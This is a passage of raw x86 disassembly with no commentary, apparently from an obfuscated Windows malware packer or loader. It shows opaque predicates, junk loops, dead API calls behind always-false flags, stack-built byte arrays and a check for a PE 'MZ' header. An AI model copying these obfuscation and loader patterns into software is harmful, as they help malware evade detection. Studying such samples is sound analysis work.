jmp 0x10031e4a
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffe9
jl 0x10032043
mov dword [ebp - 0x30], 0x6b6feb9e
mov dword [ebp - 0x2f0], 0
jmp 0x10031e77
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 2
jge 0x10031e93
mov eax, dword [ebp - 0x2f0]
mov dword [ebp + eax*4 - 0xc24], 0xfffffffe
jmp 0x10031e6a
mov dword [ebp - 0x30], 0xfffffff3
jmp 0x10031ea3
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff4
jne 0x1003203e
mov dword [ebp - 0xb18], 0x944dcd6a
mov dword [ebp - 0xb14], 0x944dcd6a
mov dword [ebp - 0xb10], 0x944dcd6a
mov dword [ebp - 0xb0c], 0x944dcd6a
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb18], 0x4b58fe4d
jg 0x10031ef4
mov dword [ebp - 0xa78], 1
jmp 0x10031efb
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0x30]
jg 0x10031f1b
mov dword [ebp - 0x960], 1
jmp 0x10031f22
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xdb4], eax
cmp dword [ebp - 0x30], 0x2a74db50
jg 0x10031f43
mov dword [ebp - 0xa40], 1
jmp 0x10031f4a
and dword [ebp - 0xa40], 0
push 1
lea ecx, [ebp - 0x390]
call fcn.1000fa89
cmp dword [ebp - 0x30], 0
je 0x10031f72
mov eax, 0x2955
test eax, eax
je 0x10031f72
mov dword [ebp - 0x578], 1
jmp 0x10031f79
and dword [ebp - 0x578], 0
cmp dword [ebp - 0x578], 0xea28c7ff
jne 0x10031f9e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb18], 0
jne 0x10031f9e
and dword [ebp - 0x728], 0
jmp 0x10031fa8
mov dword [ebp - 0x728], 1
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x728], eax
je 0x10031fbf
mov dword [ebp - 0x968], 1
jmp 0x10031fc6
and dword [ebp - 0x968], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xdcc], eax
push 3
pop eax
test eax, eax
je 0x10031ff3
or eax, 0xffffffff
je 0x10031ff3
cmp dword [ebp - 0x30], 0
jne 0x1003200e
push 1
lea ecx, [ebp - 0x390]
call fcn.1000fa89
cmp dword [eax], 0
jne 0x1003200e
and dword [ebp - 0x580], 0
jmp 0x10032018
mov dword [ebp - 0x580], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x580]
mov dword [ebp + eax - 0xc24], ecx
mov eax, 0xbb64
imul eax, eax, 0xfffffff9
mov dword [ebp - 0xaa4], eax
jmp 0x10031e9c
jmp 0x10031e3d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x390]
call fcn.1000fa6d
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xa90], 0
mov dword [ebp - 0x178], 0x2bbef7d6
mov dword [ebp - 0x188], 0xfffffff7
push 2
lea ecx, [ebp - 0x39c]
call fcn.1000fa0b
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x87c], 1
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x268], 0
jmp 0x100320b2
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 2
jge 0x100320d4
push dword [ebp - 0x268]
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
mov dword [eax], 0xa831d26e
jmp 0x100320a5
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
or eax, 0xffffffff
je 0x1003217e
push 1
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
push 1
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
mov eax, dword [eax]
sub eax, 0x73a4c924
imul esi, eax, 0
push 1
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
sub esi, dword [eax]
push 1
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
imul esi, dword [eax]
push 1
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
add esi, dword [eax]
je 0x10032162
mov eax, 0xe495761b
test eax, eax
je 0x10032162
mov dword [ebp - 0x800], 1
jmp 0x10032169
and dword [ebp - 0x800], 0
cmp dword [ebp - 0x800], 0
je 0x1003217e
mov dword [ebp - 0x588], 1
jmp 0x10032185
and dword [ebp - 0x588], 0
mov dword [ebp - 0x188], 0xffffffff
mov eax, dword [ebp - 0x188]
add eax, dword [ebp - 0x588]
cmp eax, 0xf825
jle 0x100321ae
mov dword [ebp - 0x730], 1
jmp 0x100321b5
and dword [ebp - 0x730], 0
push 1
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
mov ecx, dword [ebp - 0x730]
imul ecx, dword [eax]
mov dword [ebp - 0x590], ecx
push 0
lea ecx, [ebp - 0x39c]
call fcn.1000fa89
mov ecx, dword [ebp - 0x590]
mov dword [eax], ecx
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x87c]
cmp eax, dword [ebp - 0x60]
jge 0x10032274
mov dword [ebp - 0x970], 0x374fd522
mov dword [ebp - 0x60], 1
jmp 0x10032217
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x10032272
mov dword [ebp - 0x178], 0
jmp 0x10032236
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 1
jg 0x10032270
mov byte [ebp - 0xd2], 0
movzx eax, byte [ebp - 0xd2]
test eax, eax
je 0x10032263
push 0x1c29
push 0
push 0x269e
call dword [sym.imp.GDI32.dll_Polygon]
cmp dword [ebp - 0x970], 0
je 0x1003226e
jmp 0x10032229
jmp 0x10032229
jmp 0x10032210
jmp 0x100322de
mov dword [ebp - 0x598], 0xf37f
mov dword [ebp - 0x60], 0xffffffeb
jmp 0x1003228e
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xe
jle 0x100322de
mov dword [ebp - 0x738], 0x16709e14
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x188], 0
jmp 0x100322c4
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0xffffffff
jge 0x100322dc
mov eax, dword [ebp - 0x738]
inc eax
mov dword [ebp - 0x738], eax
jmp 0x100322b7
jmp 0x10032287
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x39c]
call fcn.1000fa6d
lea eax, [ebp - 0xa90]
push eax
lea ecx, [ebp - 0xeec]
call fcn.1000f8ee
mov dword [ebp - 0xa48], eax
mov eax, dword [ebp - 0xa48]
mov dword [ebp - 0x978], eax
mov dword [ebp - 4], 0x10
mov edx, dword [ebp - 0x3bc]
mov ecx, dword [ebp - 0x978]
call fcn.1002294e
mov dword [0x1063d408], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xeec]
call fcn.1000f959
mov dword [ebp - 0xc0], 3
mov dword [ebp - 0x5a0], 0
mov dword [ebp - 0xdfc], 0xf5c9b8db
mov dword [ebp - 0xe04], 0xfffffffa
mov dword [ebp - 0xdf0], 0xffffffff
mov dword [ebp - 0xdb0], 0xfddf34ff
mov dword [ebp - 0xd24], 0x90d790f
mov dword [ebp - 0xc38], 0x8faa83f
mov dword [ebp - 0xde0], 0xa1ee319
mov dword [ebp - 0xddc], 0xa1ee319
mov dword [ebp - 0xdd8], 0xa1ee319
mov dword [ebp - 0xdd4], 0xa1ee319
mov dword [ebp - 0x2f8], 0
jmp 0x100323ce
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 4
jge 0x100323ea
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0xed4], 0x9facd4a7
jmp 0x100323c1
mov dword [ebp - 0xc0], 0
jmp 0x10032403
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0xffffffe7
je 0x100325f1
mov dword [ebp - 0x300], 0xffffffff
mov dword [ebp - 0x118], 7
mov dword [ebp - 0xc18], 0xfffffff9
mov dword [ebp - 0xc04], 5
mov dword [ebp - 0xc48], 0xffffffff
mov dword [ebp - 0x300], 0
jmp 0x1003245b
mov eax, dword [ebp - 0x300]
dec eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0xffffffe6
je 0x100325b1
mov dword [ebp - 0x368], 0xffffffff
mov dword [ebp - 0x980], 0xa73d2d67
mov eax, dword [ebp - 0x5a0]
dec eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x118], 0xffff
jb 0x100324a1
mov dword [ebp - 0x808], 1
jmp 0x100324a8
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x368]
cmp eax, dword [ebp - 0x808]
jle 0x100324c2
mov dword [ebp - 0x5a8], 1
jmp 0x100324c9
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x5a8], eax
jg 0x100324e3
mov dword [ebp - 0x740], 1
jmp 0x100324ea
and dword [ebp - 0x740], 0
cmp dword [ebp - 0x740], 0x51ae9a07
jg 0x1003250b
mov eax, 0xd20b
test eax, eax
je 0x1003250b
mov dword [ebp - 0x5b0], 1
jmp 0x10032512
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x5b0], eax
jle 0x1003252c
mov dword [ebp - 0xa80], 1
jmp 0x10032533
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x980]
je 0x1003254d
mov dword [ebp - 0x870], 1
jmp 0x10032554
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x870], eax
jg 0x1003256e
mov dword [ebp - 0x5b8], 1
jmp 0x10032575
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x5b8]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0xc28], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xde4], eax
mov eax, dword [ebp - 0x368]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xed4], eax
jmp 0x1003244e
mov dword [ebp - 0x118], 3
jmp 0x100325ca
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x100325ec
mov dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x748]
dec eax
mov dword [ebp - 0x748], eax
jmp 0x100325bd
jmp 0x100323f6
and dword [ebp - 0x274], 0
jmp 0x10032607
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0xe
jae 0x10032620
mov eax, dword [ebp - 0x274]
mov byte [ebp + eax - 0xa90], 0
jmp 0x100325fa
mov dword [ebp - 0xb8], 9
mov dword [ebp - 0x884], 0
mov dword [ebp - 0x5d0], 0x58382bdb
mov dword [ebp - 0x5f0], 0xfffffff6
push 1
lea ecx, [ebp - 0xb94]
call fcn.1000fa0b
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x2bc], 0
jmp 0x10032675
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 1
jge 0x10032697
push dword [ebp - 0x2bc]
lea ecx, [ebp - 0xb94]
call fcn.1000fa89
mov dword [eax], 0x859bb7a1
jmp 0x10032668
cmp dword [ebp - 0xb8], 0
je 0x100326b5
cmp dword [ebp - 0xb8], 0
je 0x100326b5
mov dword [ebp - 0x5c0], 1
jmp 0x100326bc
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x5c0], eax
jge 0x100326d6
mov dword [ebp - 0x810], 1
jmp 0x100326dd
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x810], eax
jge 0x100326f7
mov dword [ebp - 0x5c8], 1
jmp 0x100326fe
and dword [ebp - 0x5c8], 0
cmp dword [ebp - 0x5c8], 0xfa3a92bd
jbe 0x10032716
mov dword [ebp - 0x750], 1
jmp 0x1003271d
and dword [ebp - 0x750], 0
mov dword [ebp - 0x884], 7
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0x5d0], eax
mov eax, dword [ebp - 0xb8]
sub eax, dword [ebp - 0x5d0]
mov ecx, dword [ebp - 0x884]
add ecx, eax
cmp ecx, dword [ebp - 0xb8]
jne 0x1003275b
mov dword [ebp - 0x5d8], 1
jmp 0x10032762
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0x5d8]
jge 0x10032785
mov eax, 0xa00d0e75
test eax, eax
je 0x10032785
mov dword [ebp - 0x758], 1
jmp 0x1003278c
and dword [ebp - 0x758], 0
cmp dword [ebp - 0x758], 0x2b82
jne 0x100327a4
mov dword [ebp - 0x5e0], 1
jmp 0x100327ab
and dword [ebp - 0x5e0], 0
cmp dword [ebp - 0x5e0], 0x75ee4c20
jg 0x100327c3
mov dword [ebp - 0x818], 1
jmp 0x100327ca
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x818], eax
jge 0x100327e4
mov dword [ebp - 0x5e8], 1
jmp 0x100327eb
and dword [ebp - 0x5e8], 0
cmp dword [ebp - 0x5e8], 0xffffffff
je 0x10032800
mov dword [ebp - 0x760], 1
jmp 0x10032807
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x5f0], eax
mov esi, dword [ebp - 0x5f0]
push 0
lea ecx, [ebp - 0xb94]
call fcn.1000fa89
mov dword [eax], esi
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x1003298b
mov dword [ebp - 0x88c], 0xfef
mov dword [ebp - 0x988], 0x100086a8
cmp dword [ebp - 0x88c], 0x1170
jle 0x10032939
and dword [ebp - 0x284], 0
jmp 0x10032878
cmp dword [ebp - 0x284], 0x1c34
jge 0x10032939
and dword [ebp - 0x27c], 0
jmp 0x1003289e
cmp dword [ebp - 0x27c], 0x18d9
jge 0x10032934
and dword [ebp - 0x2fc], 0
jmp 0x100328c4
jmp 0x1003286b
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x88c], 0xe12
jge 0x1003295f
push dword [ebp - 0x988]
call fcn.100598a3
pop ecx
jmp 0x1003297b
mov dword [ebp - 4], 0x11
jmp 0x1003298b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb94]
call fcn.1000fa6d
mov byte [ebp - 0x1e4], 0
mov byte [ebp - 0x1e3], 0xcd
mov byte [ebp - 0x1e2], 2
mov byte [ebp - 0x1e1], 0x91
mov byte [ebp - 0x1e0], 0xd6
mov byte [ebp - 0x1df], 1
mov byte [ebp - 0x1de], 0x31
mov byte [ebp - 0x1dd], 3
mov byte [ebp - 0x1dc], 0x13
mov byte [ebp - 0x1db], 0xc
mov byte [ebp - 0x1da], 0x12
mov byte [ebp - 0x1d9], 8
mov byte [ebp - 0x1d8], 0x1c
mov byte [ebp - 0x1d7], 6
mov byte [ebp - 0x1d6], 0x3f
mov byte [ebp - 0x1d5], 4
mov byte [ebp - 0x1d4], 0x24
mov byte [ebp - 0x1d3], 0xd
mov byte [ebp - 0x1d2], 0x23
mov byte [ebp - 0x1d1], 7
mov byte [ebp - 0x1d0], 0x25
mov byte [ebp - 0x1cf], 9
mov byte [ebp - 0x1ce], 0x11
mov byte [ebp - 0x1cd], 0xb
mov byte [ebp - 0x1cc], 0x10
mov byte [ebp - 0x1cb], 0xa
mov byte [ebp - 0x1ca], 0x16
mov byte [ebp - 0x1c9], 5
mov byte [ebp - 0x1c8], 0
mov byte [ebp - 0x1c7], 2
mov byte [ebp - 0x1c6], 0
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1e4]
and eax, 0x8e
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1e4]
or ecx, 0x8e
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1e4]
mov byte [ebp + eax - 0x918], cl
mov dword [ebp - 0x120], 0xfffffff8
mov dword [ebp - 0x120], 0xffffffff
mov dword [ebp - 0x120], 4
jmp 0x10032ade
cmp dword [ebp - 0x120], 0xfffffff5
jl 0x10032bc8
mov dword [ebp - 0x1a0], 0x8748afa2
mov dword [ebp - 0xab4], 0xc58bdfad
mov dword [ebp - 0x2c4], 0
jmp 0x10032b18
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 3
jge 0x10032b34
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0xe84], 0xfffffffb
jmp 0x10032b0b
cmp dword [ebp - 0x1a0], 0
jne 0x10032b4f
cmp dword [ebp - 0x1a0], 0
jne 0x10032b4f
mov dword [ebp - 0x5f8], 1
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0xc34], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x768], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x768]
mov dword [ebp + eax - 0xe84], ecx
mov eax, dword [ebp - 0x120]
imul eax, dword [ebp - 0x5f8]
add eax, dword [ebp - 0x120]
cmp dword [ebp - 0x768], eax
jl 0x10032baa
mov dword [ebp - 0x18], 2
and dword [ebp - 0x19c], 0
jmp 0x10032be0
cmp dword [ebp - 0x18], 0x1f
jae 0x100334ba
push 1
lea ecx, [ebp - 0xd20]
call fcn.1000fa0b
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x28c], 0
jmp 0x10032c17
cmp dword [ebp - 0x28c], 1
jge 0x10032c39
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x918], 0
lea eax, [ebp - 0x918]
push eax
lea ecx, [ebp - 0xf1c]
call fcn.1000f8ee
mov dword [ebp - 0xa9c], eax
mov eax, dword [ebp - 0xa9c]
mov dword [ebp - 0x9c4], eax
mov dword [ebp - 4], 0x18
mov edx, dword [ebp - 0x3bc]
mov ecx, dword [ebp - 0x9c4]
call fcn.1002294e
mov dword [0x1063d560], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf1c]
call fcn.1000f959
mov dword [ebp - 0x294], 0x74dd0324
mov dword [ebp - 0x90], 0
jmp 0x1003353b
cmp dword [ebp - 0x90], 4
jge 0x10033557
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x2c], 0xfffffff2
jmp 0x10033d06
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x10
jle 0x10033fa3
mov dword [ebp - 0x4cc], 0xfffffffa
mov dword [ebp - 0x270], 0
jmp 0x10033d33
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 1
jge 0x10033d4c
mov eax, dword [ebp - 0x270]
mov dword [ebp + eax*4 - 0x48], 1
jmp 0x10033d26
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x48], 0
jmp 0x10033d71
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x48], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0x11
je 0x10033f9e
mov dword [ebp - 0x1b4], 0x35ca4204
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 0
je 0x10033e56
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
add eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x1b4]
jl 0x10033dca
mov dword [ebp - 0x4d4], 1
jmp 0x10033dd1
and dword [ebp - 0x4d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp dword [ebp - 0x4d4], eax
je 0x10033def
mov dword [ebp - 0x4dc], 1
jmp 0x10033df6
and dword [ebp - 0x4dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp dword [ebp - 0x4dc], eax
je 0x10033e14
mov dword [ebp - 0x4e4], 1
jmp 0x10033e1b
and dword [ebp - 0x4e4], 0
cmp dword [ebp - 0x4e4], 0
je 0x10033e30
mov dword [ebp - 0x4ec], 1
jmp 0x10033e37
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
add eax, 0xdf86
sub eax, dword [ebp - 0x1b4]
je 0x10033e56
mov dword [ebp - 0x4f4], 1
jmp 0x10033e5d
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x4f4]
cmp eax, dword [ebp - 0x2c]
je 0x10033e78
mov dword [ebp - 0x4fc], 1
jmp 0x10033e7f
and dword [ebp - 0x4fc], 0
cmp dword [ebp - 0x4fc], 0xe924
jle 0x10033e97
mov dword [ebp - 0x504], 1
jmp 0x10033e9e
and dword [ebp - 0x504], 0
cmp dword [ebp - 0x504], 0xfffc
je 0x10033eb6
mov dword [ebp - 0x50c], 1
jmp 0x10033ebd
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x1b4]
cmp eax, dword [ebp - 0x50c]
jle 0x10033ed7
mov dword [ebp - 0x514], 1
jmp 0x10033ede
and dword [ebp - 0x514], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp dword [ebp - 0x514], eax
jl 0x10033efc
mov dword [ebp - 0x51c], 1
jmp 0x10033f03
and dword [ebp - 0x51c], 0
cmp dword [ebp - 0x51c], 0
jg 0x10033f18
mov dword [ebp - 0x524], 1
jmp 0x10033f1f
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x524], eax
jl 0x10033f39
mov dword [ebp - 0x52c], 1
jmp 0x10033f40
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x52c], eax
jge 0x10033f57
mov dword [ebp - 0x534], 1
jmp 0x10033f5e
and dword [ebp - 0x534], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp dword [ebp - 0x534], eax
jg 0x10033f7c
mov dword [ebp - 0x53c], 1
jmp 0x10033f83
and dword [ebp - 0x53c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x53c]
sub ecx, dword [ebp + eax - 0x48]
mov dword [ebp - 0x1b4], ecx
jmp 0x10033d5c
jmp 0x10033cff
mov dword [ebp - 0x2c], 0
jmp 0x10033fb3
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 8
jg 0x10033fe6
mov dword [ebp - 0x9e8], 0xfffffffa
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x9e8], eax
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x10033fe4
call dword [sym.imp.USER32.dll_WaitMessage]
jmp 0x10033fac
mov eax, dword [0x1063d408]
cmp eax, dword [ebp - 0x234]
je 0x10034000
mov eax, dword [0x1063d560]
cmp eax, dword [ebp - 0x234]
jne 0x10034018
mov ecx, dword [ebp + 0xc]
call fcn.1000f793
push eax
push dword [ebp + 8]
call fcn.100294e1
pop ecx
pop ecx
jmp 0x10036350
mov dword [ebp - 0x138], 0xa2ae
mov dword [ebp - 0xb50], 0xa29f5838
mov dword [ebp - 0xb4c], 0xa29f5838
mov dword [ebp - 0xb48], 0xa29f5838
mov dword [ebp - 0xb44], 0xa29f5838
lea ecx, [ebp - 0x361]
call fcn.1000fa98
push eax
lea eax, [ebp - 0xb40]
push eax
lea eax, [ebp - 0xb50]
push eax
lea ecx, [ebp - 0xec4]
call fcn.1000fa9b
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xb7c]
call fcn.1000fa47
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x564], 0xe75d5f8d
mov dword [ebp - 0x9f4], 8
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x138]
jge 0x100340b4
mov dword [ebp - 0x314], 1
jmp 0x100340bb
and dword [ebp - 0x314], 0
push 0
lea ecx, [ebp - 0xb7c]
call fcn.1000fa89
mov ecx, dword [ebp - 0x314]
mov dword [eax], ecx
mov eax, dword [ebp - 0x314]
sub eax, dword [ebp - 0x564]
cmp dword [ebp - 0x138], eax
jne 0x100340f0
mov dword [ebp - 0x544], 1
jmp 0x100340f7
and dword [ebp - 0x544], 0
cmp dword [ebp - 0x544], 0x2b82c447
jge 0x1003410f
mov dword [ebp - 0x54c], 1
jmp 0x10034116
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x138]
jne 0x10034136
mov dword [ebp - 0x554], 1
jmp 0x1003413d
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0x554], eax
jne 0x10034157
mov dword [ebp - 0xa3c], 1
jmp 0x1003415e
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0x9f4]
mov dword [ebp - 0xc64], eax
push 2
pop eax
cmp eax, 0x5524872
ja 0x10034180
mov dword [ebp - 0x55c], 1
jmp 0x10034187
and dword [ebp - 0x55c], 0
cmp dword [ebp - 0x55c], 0
jne 0x1003419c
mov dword [ebp - 0x56c], 1
jmp 0x100341a3
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x564]
imul eax, dword [ebp - 0x56c]
cmp eax, 0xc715
jl 0x100341c3
mov dword [ebp - 0x574], 1
jmp 0x100341ca
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0x574], eax
jl 0x100341e4
mov dword [ebp - 0xa44], 1
jmp 0x100341eb
and dword [ebp - 0xa44], 0
mov eax, 0xd35da2a
test eax, eax
je 0x10034210
mov byte [ebp - 0x15f], 0
movzx eax, byte [ebp - 0x15f]
test eax, eax
je 0x1003420e
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
jmp 0x1003422f
mov dword [ebp - 0x9fc], 0xffff
push 1
lea ecx, [ebp - 0xb7c]
call fcn.1000fa89
mov eax, dword [eax]
mov dword [ebp - 0x9fc], eax
mov byte [ebp - 0xe9], 0
movzx eax, byte [ebp - 0xe9]
test eax, eax
je 0x1003424b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb7c]
call fcn.1000fa6d
mov eax, dword [ebp + 8]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0xa4c], 0xffffffff
mov dword [ebp - 0x1bc], 4
mov eax, dword [ebp - 0xa4c]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1bc], 0xffffffef
jmp 0x1003429c
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x1a
jge 0x100342da
mov dword [ebp - 0xa04], 0xb0cb
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x100342ce
push 0
push 0x121f
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 0xa04], 0xfffffffa
jmp 0x1003428f
cmp dword [ebp - 0x280], 0
je 0x10036233
mov eax, dword [ebp - 0x280]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10036233
mov dword [ebp - 0x140], 0xfffffff8
mov dword [ebp - 0x140], 0xffffffff
mov dword [ebp - 0x140], 4
jmp 0x10034328
mov eax, dword [ebp - 0x140]
dec eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xfffffff5
jl 0x10034412
mov dword [ebp - 0x1c4], 0x8748afa2
mov dword [ebp - 0xa54], 0xc58bdfad
mov dword [ebp - 0x278], 0
jmp 0x10034362
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 3
jge 0x1003437e
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0xe78], 0xfffffffb
jmp 0x10034355
cmp dword [ebp - 0x1c4], 0
jne 0x10034399
cmp dword [ebp - 0x1c4], 0
jne 0x10034399
and dword [ebp - 0x57c], 0
jmp 0x100343a3
mov dword [ebp - 0x57c], 1
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0xd6c], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x584], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x584]
mov dword [ebp + eax - 0xe78], ecx
mov eax, dword [ebp - 0x140]
